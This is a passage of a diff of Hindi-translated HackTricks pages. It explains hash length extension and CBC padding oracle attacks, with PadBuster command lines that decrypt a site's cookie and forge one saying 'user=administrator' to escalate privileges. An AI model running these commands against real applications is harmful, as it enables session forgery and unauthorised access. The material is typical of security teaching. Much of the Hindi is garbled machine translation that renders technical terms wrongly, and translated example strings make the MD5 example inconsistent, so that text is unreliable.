* **HackTricks** के [**github repos**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) में PRs सबमिट करके अपनी हैकिंग ट्रिक्स शेयर करें।
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,62 +1,62 @@
|
|||
<details>
|
||||
|
||||
<summary><strong>AWS हैकिंग सीखें शून्य से लेकर हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
|
||||
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricks का समर्थन करने के अन्य तरीके:
|
||||
|
||||
* यदि आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
|
||||
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा एक्सक्लूसिव [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह
|
||||
* 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) में **शामिल हों** या [**telegram group**](https://t.me/peass) में या **Twitter** 🐦 पर मुझे **फॉलो** करें [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में PRs सबमिट करके अपनी हैकिंग ट्रिक्स शेयर करें।
|
||||
* यदि आप चाहते हैं कि आपकी **कंपनी HackTricks में विज्ञापित हो** या **HackTricks को PDF में डाउनलोड करें** तो [**सब्सक्रिप्शन प्लान्स देखें**](https://github.com/sponsors/carlospolop)!
|
||||
* [**आधिकारिक PEASS और HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
|
||||
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) कलेक्शन, [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
|
||||
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** पर फॉलो करें 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **हैकिंग ट्रिक्स साझा करें** द्वारा PRs सबमिट करके [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
# हमले का सारांश
|
||||
|
||||
कल्पना कीजिए एक सर्वर जो कुछ **डेटा** को **साइन** कर रहा है **सीक्रेट** को कुछ ज्ञात स्पष्ट पाठ डेटा के साथ **जोड़कर** और फिर उस डेटा को हैशिंग कर रहा है। यदि आप जानते हैं:
|
||||
एक सर्वर की कलर टेक्स्ट डेटा के साथ कुछ गोपनीय जोड़कर उस डेटा का हैश बनाता है। यदि आप जानते हैं:
|
||||
|
||||
* **सीक्रेट की लंबाई** (इसे एक निश्चित लंबाई सीमा से भी ब्रूटफोर्स किया जा सकता है)
|
||||
* **गोपनीय की लंबाई** (यह दी गई लंबाई सीमा से भी bruteforced की जा सकती है)
|
||||
* **स्पष्ट पाठ डेटा**
|
||||
* **एल्गोरिथम (और यह इस हमले के लिए संवेदनशील है)**
|
||||
* **एल्गोरिथ्म (और यह हमले के लिए वंशानुक्रमित है)**
|
||||
* **पैडिंग ज्ञात है**
|
||||
* आमतौर पर एक डिफ़ॉल्ट वाला इस्तेमाल किया जाता है, इसलिए अगर अन्य 3 आवश्यकताएँ पूरी होती हैं, तो यह भी होता है
|
||||
* पैडिंग सीक्रेट+डेटा की लंबाई के आधार पर बदलती है, इसलिए सीक्रेट की लंबाई की आवश्यकता होती है
|
||||
* आम तौर पर एक डिफ़ॉल्ट प्रयोग होता है, इसलिए अगर अन्य 3 आवश्यकताएं पूरी होती हैं, तो यह भी होता है
|
||||
* पैडिंग गोपनीय+डेटा की लंबाई पर निर्भर होता है, इसलिए गोपनीय की लंबाई की आवश्यकता है
|
||||
|
||||
तब, यह संभव है कि एक **हमलावर** **डेटा** को **जोड़े** और **पिछले डेटा + जोड़े गए डेटा** के लिए एक वैध **हस्ताक्षर** **उत्पन्न** करे।
|
||||
तो, एक **हमलेवाले** के लिए **डेटा जोड़ना** और **पिछले डेटा + जोड़ा गया डेटा** के लिए एक मान्य **सिग्नेचर** उत्पन्न करना संभव है।
|
||||
|
||||
## कैसे?
|
||||
|
||||
मूल रूप से संवेदनशील एल्गोरिथम डेटा के एक ब्लॉक को **हैशिंग** करके हैशेज उत्पन्न करते हैं, और फिर, **पहले से बनाए गए** हैश (स्टेट) से, वे **अगले ब्लॉक डेटा को जोड़ते हैं** और **इसे हैश करते हैं**।
|
||||
मूल रूप से, वंशानुक्रमित एल्गोरिथ्म पहले **डेटा ब्लॉक का हैश** बनाते हैं, और फिर, **पिछले** बनाए गए **हैश** (स्थिति) से, वे **अगले डेटा ब्लॉक को जोड़ते हैं** और **इसे हैश** करते हैं।
|
||||
|
||||
तब, कल्पना कीजिए कि सीक्रेट "secret" है और डेटा "data" है, "secretdata" का MD5 6036708eba0d11f6ef52ad44e8b74d5b है।\
|
||||
यदि एक हमलावर "append" स्ट्रिंग जोड़ना चाहता है तो वह:
|
||||
फिर, यहां सोचें कि गोपनीय "गोपनीय" है और डेटा "डेटा" है, "गोपनीयडेटा" का MD5 6036708eba0d11f6ef52ad44e8b74d5b है।\
|
||||
यदि एक हमलेवाला "जोड़ना" स्ट्रिंग जोड़ना चाहता है तो वह:
|
||||
|
||||
* 64 "A" का एक MD5 उत्पन्न कर सकता है
|
||||
* पहले से इनिशियलाइज्ड हैश की स्टेट को 6036708eba0d11f6ef52ad44e8b74d5b में बदल सकता है
|
||||
* स्ट्रिंग "append" जोड़ सकता है
|
||||
* हैश को समाप्त कर सकता है और परिणामी हैश "secret" + "data" + "padding" + "append" के लिए एक **वैध होगा**
|
||||
* 64 "A" का MD5 उत्पन्न करें
|
||||
* पहले से ही आरंभित हैश की स्थिति को 6036708eba0d11f6ef52ad44e8b74d5b पर बदलें
|
||||
* स्ट्रिंग "जोड़ना" जोड़ें
|
||||
* हैश समाप्त करें और परिणामी हैश "गोपनीय" + "डेटा" + "पैडिंग" + "जोड़ना" के लिए **मान्य होगा**
|
||||
|
||||
## **टूल**
|
||||
## **उपकरण**
|
||||
|
||||
{% embed url="https://github.com/iagox86/hash_extender" %}
|
||||
|
||||
# संदर्भ
|
||||
|
||||
आप इस हमले को अच्छी तरह से समझाया हुआ [https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks](https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks) में पा सकते हैं।
|
||||
आप इस हमले को अच्छी तरह से समझ सकते हैं [https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks](https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks)
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>AWS हैकिंग सीखें शून्य से लेकर हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
|
||||
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricks का समर्थन करने के अन्य तरीके:
|
||||
|
||||
* यदि आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
|
||||
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा एक्सक्लूसिव [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह
|
||||
* 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) में **शामिल हों** या [**telegram group**](https://t.me/peass) में या **Twitter** 🐦 पर मुझे **फॉलो** करें [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में PRs सबमिट करके अपनी हैकिंग ट्रिक्स शेयर करें।
|
||||
* यदि आप चाहते हैं कि आपकी **कंपनी HackTricks में विज्ञापित हो** या **HackTricks को PDF में डाउनलोड करें** तो [**सब्सक्रिप्शन प्लान्स देखें**](https://github.com/sponsors/carlospolop)!
|
||||
* [**आधिकारिक PEASS और HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
|
||||
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) कलेक्शन, [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
|
||||
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** पर फॉलो करें 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **हैकिंग ट्रिक्स साझा करें** द्वारा PRs सबमिट करके [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,36 +1,36 @@
|
|||
<details>
|
||||
|
||||
<summary><strong>AWS हैकिंग सीखें शून्य से लेकर हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
|
||||
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
|
||||
|
||||
HackTricks का समर्थन करने के अन्य तरीके:
|
||||
|
||||
* यदि आप चाहते हैं कि आपकी **कंपनी का विज्ञापन HackTricks में दिखाई दे** या **HackTricks को PDF में डाउनलोड करें**, तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
|
||||
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा एक्सक्लूसिव [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह
|
||||
* 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) में **शामिल हों** या [**telegram group**](https://t.me/peass) या **Twitter** पर 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm) को **फॉलो करें**.
|
||||
* **HackTricks** के [**github repos**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) में PRs सबमिट करके अपनी हैकिंग ट्रिक्स शेयर करें.
|
||||
* यदि आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
|
||||
* [**आधिकारिक PEASS और HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
|
||||
* हमारा विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह, [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
|
||||
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)** पर फॉलो** करें।
|
||||
* **अपने हैकिंग ट्रिक्स साझा करें** और **PRs सबमिट करके** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में।
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
# CBC - Cipher Block Chaining
|
||||
|
||||
CBC मोड में **पिछले एन्क्रिप्टेड ब्लॉक का उपयोग IV के रूप में किया जाता है** अगले ब्लॉक के साथ XOR करने के लिए:
|
||||
CBC मोड में **पिछले एन्क्रिप्टेड ब्लॉक का उपयोग IV के रूप में** किया जाता है जिसे अगले ब्लॉक के साथ XOR किया जाता है:
|
||||
|
||||
![CBC encryption](https://defuse.ca/images/cbc\_encryption.png)
|
||||
|
||||
CBC को डिक्रिप्ट करने के लिए **विपरीत** **क्रियाएं** की जाती हैं:
|
||||
CBC को **डिक्रिप्ट** करने के लिए **विपरीत** **ऑपरेशन** किए जाते हैं:
|
||||
|
||||
![CBC decryption](https://defuse.ca/images/cbc\_decryption.png)
|
||||
|
||||
ध्यान दें कि इसके लिए एक **एन्क्रिप्शन** **की** और एक **IV** का उपयोग करना आवश्यक है।
|
||||
ध्यान दें कि एक **एन्क्रिप्शन कुंजी** और एक **IV** का उपयोग करना आवश्यक है।
|
||||
|
||||
# Message Padding
|
||||
# संदेश पैडिंग
|
||||
|
||||
चूंकि एन्क्रिप्शन **निश्चित** **आकार** **ब्लॉक्स** में किया जाता है, इसलिए आमतौर पर **पैडिंग** की आवश्यकता होती है **अंतिम** **ब्लॉक** में इसकी लंबाई को पूरा करने के लिए।\
|
||||
आमतौर पर **PKCS7** का उपयोग किया जाता है, जो ब्लॉक को पूरा करने के लिए **आवश्यक** **बाइट्स** की **संख्या** को **दोहराकर** पैडिंग उत्पन्न करता है। उदाहरण के लिए, यदि अंतिम ब्लॉक में 3 बाइट्स की कमी है, तो पैडिंग `\x03\x03\x03` होगी।
|
||||
जैसा कि एन्क्रिप्शन **निश्चित आकार के ब्लॉक** में किया जाता है, इसलिए **पैडिंग** को सामान्यत: **अंतिम ब्लॉक** में उसकी लंबाई पूरी करने के लिए आवश्यक होता है।\
|
||||
आम तौर पर **PKCS7** का उपयोग किया जाता है, जो एक पैडिंग उत्पन्न करता है **जो ब्लॉक को पूरा करने के लिए आवश्यक बाइट्स की संख्या को दोहराता है**। उदाहरण के लिए, यदि अंतिम ब्लॉक में 3 बाइट छूट रही है, तो पैडिंग `\x03\x03\x03` होगा।
|
||||
|
||||
आइए **8bytes की लंबाई के 2 ब्लॉक्स** के साथ और उदाहरण देखें:
|
||||
एक **8 बाइट लंबाई के 2 ब्लॉक** के साथ और अधिक उदाहरणों पर ध्यान दें:
|
||||
|
||||
| byte #0 | byte #1 | byte #2 | byte #3 | byte #4 | byte #5 | byte #6 | byte #7 | byte #0 | byte #1 | byte #2 | byte #3 | byte #4 | byte #5 | byte #6 | byte #7 |
|
||||
| ------- | ------- | ------- | ------- | ------- | ------- | ------- | ------- | -------- | -------- | -------- | -------- | -------- | -------- | -------- | -------- |
|
||||
|
@ -39,43 +39,43 @@ CBC को डिक्रिप्ट करने के लिए **विप
|
|||
| P | A | S | S | W | O | R | D | 1 | 2 | 3 | **0x05** | **0x05** | **0x05** | **0x05** | **0x05** |
|
||||
| P | A | S | S | W | O | R | D | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** |
|
||||
|
||||
ध्यान दें कि अंतिम उदाहरण में **अंतिम ब्लॉक पूरा था इसलिए एक और ब्लॉक केवल पैडिंग के साथ उत्पन्न किया गया था**।
|
||||
ध्यान दें कि अंतिम उदाहरण में **अंतिम ब्लॉक पूरा था इसलिए एक और पैडिंग के साथ एक और उत्पन्न किया गया था**।
|
||||
|
||||
# Padding Oracle
|
||||
# पैडिंग ऑरेकल
|
||||
|
||||
जब कोई एप्लिकेशन एन्क्रिप्टेड डेटा को डिक्रिप्ट करता है, तो वह पहले डेटा को डिक्रिप्ट करेगा; फिर वह पैडिंग को हटा देगा। पैडिंग की सफाई के दौरान, यदि कोई **अवैध पैडिंग पता लगाने योग्य व्यवहार को ट्रिगर करती है**, तो आपके पास एक **padding oracle संवेदनशीलता** है। पता लगाने योग्य व्यवहार में एक **त्रुटि**, **परिणामों की कमी**, या **धीमी प्रतिक्रिया** शामिल हो सकती है।
|
||||
जब एक एप्लिकेशन एन्क्रिप्टेड डेटा को डिक्रिप्ट करती है, तो पहले वह डेटा को डिक्रिप्ट करेगी; फिर वह पैडिंग को हटाएगी। पैडिंग को साफ करते समय, यदि **अमान्य पैडिंग एक पहचानने योग्य व्यवहार को ट्रिगर** करता है, तो आपके पास एक **पैडिंग ऑरेकल संरचना** है। पहचानने योग्य व्यवहार एक **त्रुटि**, **परिणामों की कमी**, या **धीमा प्रतिक्रिया** हो सकती है।
|
||||
|
||||
यदि आप इस व्यवहार का पता लगाते हैं, तो आप **एन्क्रिप्टेड डेटा को डिक्रिप्ट कर सकते हैं** और यहां तक कि **किसी भी साफ़ टेक्स्ट को एन्क्रिप्ट कर सकते हैं**।
|
||||
इस व्यवहार को पहचानने पर, आप **एन्क्रिप्टेड डेटा को डिक्रिप्ट** कर सकते हैं और यहां तक कि **कोई साफ-टेक्स्ट एन्क्रिप्ट** कर सकते हैं।
|
||||
|
||||
## कैसे शोषण करें
|
||||
## उत्पीडन कैसे करें
|
||||
|
||||
आप इस प्रकार की संवेदनशीलता का शोषण करने के लिए [https://github.com/AonCyberLabs/PadBuster](https://github.com/AonCyberLabs/PadBuster) का उपयोग कर सकते हैं या बस कर सकते हैं
|
||||
आप [https://github.com/AonCyberLabs/PadBuster](https://github.com/AonCyberLabs/PadBuster) का उपयोग कर सकते हैं इस प्रकार की भयंकरता का उत्पीडन करने के लिए या बस करें
|
||||
```
|
||||
sudo apt-get install padbuster
|
||||
```
|
||||
साइट के कुकी की कमजोरी की जांच करने के लिए आप कोशिश कर सकते हैं:
|
||||
एक साइट के कुकी को क्या विकल्पनशील है यह जांचने के लिए आप निम्नलिखित कोशिश कर सकते हैं:
|
||||
```bash
|
||||
perl ./padBuster.pl http://10.10.10.10/index.php "RVJDQrwUdTRWJUVUeBKkEA==" 8 -encoding 0 -cookies "login=RVJDQrwUdTRWJUVUeBKkEA=="
|
||||
```
|
||||
**Encoding 0** का मतलब है कि **base64** का इस्तेमाल किया जाता है (लेकिन अन्य भी उपलब्ध हैं, मदद मेनू की जाँच करें)।
|
||||
**कोडिंग 0** का मतलब है कि **base64** का उपयोग किया जाता है (लेकिन अन्य भी उपलब्ध हैं, मदद मेनू की जांच करें)।
|
||||
|
||||
आप इस कमजोरी का दुरुपयोग नए डेटा को एन्क्रिप्ट करने के लिए भी कर सकते हैं। उदाहरण के लिए, कल्पना कीजिए कि कुकी की सामग्री है "**_**user=MyUsername**_**", तो आप इसे बदल सकते हैं "\_user=administrator\_" में और एप्लिकेशन के अंदर विशेषाधिकार बढ़ा सकते हैं। आप यह `paduster` का उपयोग करके -plaintext** पैरामीटर को निर्दिष्ट करके भी कर सकते हैं:
|
||||
आप इस सुरक्षा दोष का दुरुपयोग करके नए डेटा को एन्क्रिप्ट करने के लिए भी उपयोग कर सकते हैं। उदाहरण के लिए, यदि कुकी की सामग्री "**_**user=MyUsername**_**" है, तो आप इसे "\_user=administrator\_" में बदल सकते हैं और एप्लिकेशन के अंदर वरीयताएँ बढ़ा सकते हैं। आप `paduster` का उपयोग करके भी इसे कर सकते हैं, -plaintext** पैरामीटर को निर्दिष्ट करते हुए:
|
||||
```bash
|
||||
perl ./padBuster.pl http://10.10.10.10/index.php "RVJDQrwUdTRWJUVUeBKkEA==" 8 -encoding 0 -cookies "login=RVJDQrwUdTRWJUVUeBKkEA==" -plaintext "user=administrator"
|
||||
```
|
||||
यदि साइट संवेदनशील है, `padbuster` स्वचालित रूप से यह पता लगाने का प्रयास करेगा कि पैडिंग त्रुटि कब होती है, लेकिन आप **-error** पैरामीटर का उपयोग करके त्रुटि संदेश को भी संकेत कर सकते हैं।
|
||||
यदि साइट भेद्य है, तो `padbuster` स्वतः प्रयास करेगा कि पैडिंग त्रुटि कब होती है, लेकिन आप इसे **-error** पैरामीटर का उपयोग करके त्रुटि संदेश को भी दिखा सकते हैं।
|
||||
```bash
|
||||
perl ./padBuster.pl http://10.10.10.10/index.php "" 8 -encoding 0 -cookies "hcon=RVJDQrwUdTRWJUVUeBKkEA==" -error "Invalid padding"
|
||||
```
|
||||
## सिद्धांत
|
||||
|
||||
**सारांश में**, आप अनुमान लगाकर एन्क्रिप्टेड डेटा को डिक्रिप्ट करना शुरू कर सकते हैं कि कौन से सही मान **विभिन्न पैडिंग्स** बना सकते हैं। फिर, पैडिंग ओरेकल अटैक अंत से शुरुआत की ओर बाइट्स को डिक्रिप्ट करना शुरू कर देगा, यह अनुमान लगाकर कि कौन सा सही मान **1, 2, 3, आदि की पैडिंग बनाता है**।
|
||||
**सारांश में**, आप सही मानों की अनुमान लगाकर शुरू कर सकते हैं जो सभी **विभिन्न पैडिंग** बनाने के लिए उपयोग किए जा सकते हैं। फिर, पैडिंग ऑरेकल हमला शुरू होगा जो अंत से शुरू तक बाइट्स को डिक्रिप्ट करने लगेगा जिसे यह अनुमान लगाएगा कि कौन सा सही मान होगा जो **1, 2, 3** आदि का पैडिंग बनाता है।
|
||||
|
||||
![](<../.gitbook/assets/image (629) (1) (1).png>)
|
||||
|
||||
कल्पना कीजिए कि आपके पास कुछ एन्क्रिप्टेड टेक्स्ट है जो **2 ब्लॉक्स** में विभाजित है जिसमें बाइट्स **E0 से E15** तक हैं।\
|
||||
**अंतिम ब्लॉक** (**E8** से **E15**) को **डिक्रिप्ट** करने के लिए, पूरा ब्लॉक "ब्लॉक सिफर डिक्रिप्शन" के माध्यम से गुजरता है, जिससे **मध्यवर्ती बाइट्स I0 से I15** उत्पन्न होते हैं।\
|
||||
अंत में, प्रत्येक मध्यवर्ती बाइट को पिछले एन्क्रिप्टेड बाइट्स (E0 से E7) के साथ **XORed** किया जाता है। इस प्रकार:
|
||||
कल्पना करें कि आपके पास कुछ एन्क्रिप्टेड पाठ है जो **2 ब्लॉक्स** को बनाता है जिनमें से बाइट्स **E0 से E15** तक हैं।\
|
||||
**अंतिम** **ब्लॉक** (**E8** से **E15**) को **डिक्रिप्ट** करने के लिए, पूरे ब्लॉक को "ब्लॉक साइपर डिक्रिप्शन" के माध्यम से गुजरना होगा जो **इंटरमीडिएट बाइट्स I0 से I15** उत्पन्न करेगा।\
|
||||
अंततः, प्रत्येक इंटरमीडिएट बाइट पिछले एन्क्रिप्टेड बाइट्स (E0 से E7) के साथ **XORed** किया जाएगा। इसलिए:
|
||||
|
||||
* `C15 = D(E15) ^ E7 = I15 ^ E7`
|
||||
* `C14 = I14 ^ E6`
|
||||
|
@ -83,26 +83,26 @@ perl ./padBuster.pl http://10.10.10.10/index.php "" 8 -encoding 0 -cookies "hcon
|
|||
* `C12 = I12 ^ E4`
|
||||
* ...
|
||||
|
||||
अब, यह संभव है कि **`E7` को तब तक संशोधित करें जब तक `C15` `0x01` न हो**, जो कि एक सही पैडिंग भी होगी। इस मामले में: `\x01 = I15 ^ E'7`
|
||||
अब, **`E7` को `C15` `0x01` तक मॉडिफाई करना संभव है**, जो एक सही पैडिंग होगा। इसलिए, इस मामले में: `\x01 = I15 ^ E'7`
|
||||
|
||||
इसलिए, E'7 का पता लगाने पर, **I15 की गणना करना संभव है**: `I15 = 0x01 ^ E'7`
|
||||
इसलिए, `E'7` ढूंढने के बाद, **I15 की गणना संभव है**: `I15 = 0x01 ^ E'7`
|
||||
|
||||
जिससे हम **C15 की गणना कर सकते हैं**: `C15 = E7 ^ I15 = E7 ^ \x01 ^ E'7`
|
||||
जो हमें **C15 की गणना करने की अनुमति देता है**: `C15 = E7 ^ I15 = E7 ^ \x01 ^ E'7`
|
||||
|
||||
**C15** को जानकर, अब **C14 की गणना करना संभव है**, लेकिन इस बार पैडिंग `\x02\x02` को ब्रूट-फोर्स करके।
|
||||
**C15** को जानकर, अब **C14 की गणना संभव है**, लेकिन इस बार पैडिंग `\x02\x02` को ब्रूट-फोर्स करना होगा।
|
||||
|
||||
यह BF पिछले जितना ही जटिल है क्योंकि `E''15` का मान 0x02 होने की गणना की जा सकती है: `E''7 = \x02 ^ I15` इसलिए केवल **`E'14`** का पता लगाना आवश्यक है जो **`C14` को `0x02` के बराबर बनाता है**।\
|
||||
फिर, C14 को डिक्रिप्ट करने के लिए वही चरण दोहराएं: **`C14 = E6 ^ I14 = E6 ^ \x02 ^ E''6`**
|
||||
यह बीएफ पिछले एक के तुलना में इसी कठिनाई का है क्योंकि यह संभव है कि `E''15` की गणना की जाए जिसका मान 0x02 है: `E''7 = \x02 ^ I15` इसलिए बस **`E'14`** ढूंढना होगा जो **`C14` को `0x02` के बराबर बनाता है**।\
|
||||
फिर, C14 को डिक्रिप्ट करने के लिए एक ही कदम उठाएं: **`C14 = E6 ^ I14 = E6 ^ \x02 ^ E''6`**
|
||||
|
||||
**इस श्रृंखला का अनुसरण करें जब तक आप पूरे एन्क्रिप्टेड टेक्स्ट को डिक्रिप्ट नहीं कर लेते।**
|
||||
**पूरे एन्क्रिप्टेड पाठ को डिक्रिप्ट करने तक इस श्रृंखला का पालन करें।**
|
||||
|
||||
## संवेदनशीलता का पता लगाना
|
||||
## सुरक्षितता की खोज
|
||||
|
||||
एक खाता रजिस्टर करें और इस खाते से लॉग इन करें।\
|
||||
यदि आप **कई बार लॉग इन करते हैं** और हमेशा **एक ही कुकी प्राप्त करते हैं**, तो एप्लिकेशन में शायद **कुछ गलत** है। जब आप लॉग इन करते हैं तो **कुकी वापस भेजी जानी चाहिए हर बार अद्वितीय** होनी चाहिए। यदि कुकी **हमेशा** **वही** है, तो यह शायद हमेशा मान्य होगी और इसे अमान्य करने का **कोई तरीका नहीं होगा**।
|
||||
यदि आप **कई बार लॉग इन** करते हैं और हमेशा **एक ही कुकी** प्राप्त करते हैं, तो एप्लिकेशन में **कुछ गड़बड़ हो सकती है**। लॉग इन करने पर प्रेषित कुकी **हर बार अद्वितीय होनी चाहिए**। यदि कुकी **हमेशा** **एक ही** है, तो यह संभावना है कि यह हमेशा मान्य रहेगी और उसे **अमान्य करने का कोई तरीका नहीं होगा**।
|
||||
|
||||
अब, यदि आप **कुकी को संशोधित** करने का प्रयास करते हैं, तो आप देख सकते हैं कि आपको एप्लिकेशन से एक **त्रुटि** मिलती है।\
|
||||
लेकिन यदि आप पैडिंग को ब्रूट-फोर्स करते हैं (उदाहरण के लिए padbuster का उपयोग करके) तो आप एक अलग उपयोगकर्ता के लिए मान्य एक और कुकी प्राप्त करने में सफल होते हैं। यह परिदृश्य padbuster के लिए अत्यधिक संभावित रूप से संवेदनशील है।
|
||||
अब, यदि आप **कुकी** को **संशोधित** करने की कोशिश करते हैं, तो आप एप्लिकेशन से **त्रुटि** प्राप्त करते हैं।\
|
||||
लेकिन यदि आप पैडिंग को बीएफ करते हैं (उदाहरण के लिए पैडबस्टर का उपयोग करके), तो आपको एक और कुकी प्राप्त करने में सफलता मिलती है जो एक विभिन्न उपयोगकर्ता के लिए मान्य है। यह स्थिति पैडबस्टर के लिए अत्यधिक संभावित रूप से विकल्पयोग्य है।
|
||||
|
||||
# संदर्भ
|
||||
|
||||
|
@ -111,14 +111,14 @@ perl ./padBuster.pl http://10.10.10.10/index.php "" 8 -encoding 0 -cookies "hcon
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
|
||||
|
||||
HackTricks का समर्थन करने के अन्य तरीके:
|
||||
|
||||
* यदि आप अपनी **कंपनी को HackTricks में विज्ञापित** देखना चाहते हैं या **HackTricks को PDF में डाउनलोड** करना चाहते हैं तो [**सदस्यता योजनाओं**](https://github.com/sponsors/carlospolop) की जाँच करें!
|
||||
* यदि आप अपनी कंपनी का विज्ञापन **HackTricks** में देखना चाहते हैं या **PDF में HackTricks डाउनलोड** करना चाहते हैं तो [**सब्सक्रिप्शन प्लान**](https://github.com/sponsors/carlospolop) की जांच करें!
|
||||
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह
|
||||
* 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) में **शामिल हों** या [**telegram group**](https://t.me/peass) में या **Twitter** पर मुझे 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)** पर फॉलो करें।**
|
||||
* **HackTricks** के [**github repos**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) में PRs सबमिट करके अपनी हैकिंग ट्रिक्स साझा करें।
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह।
|
||||
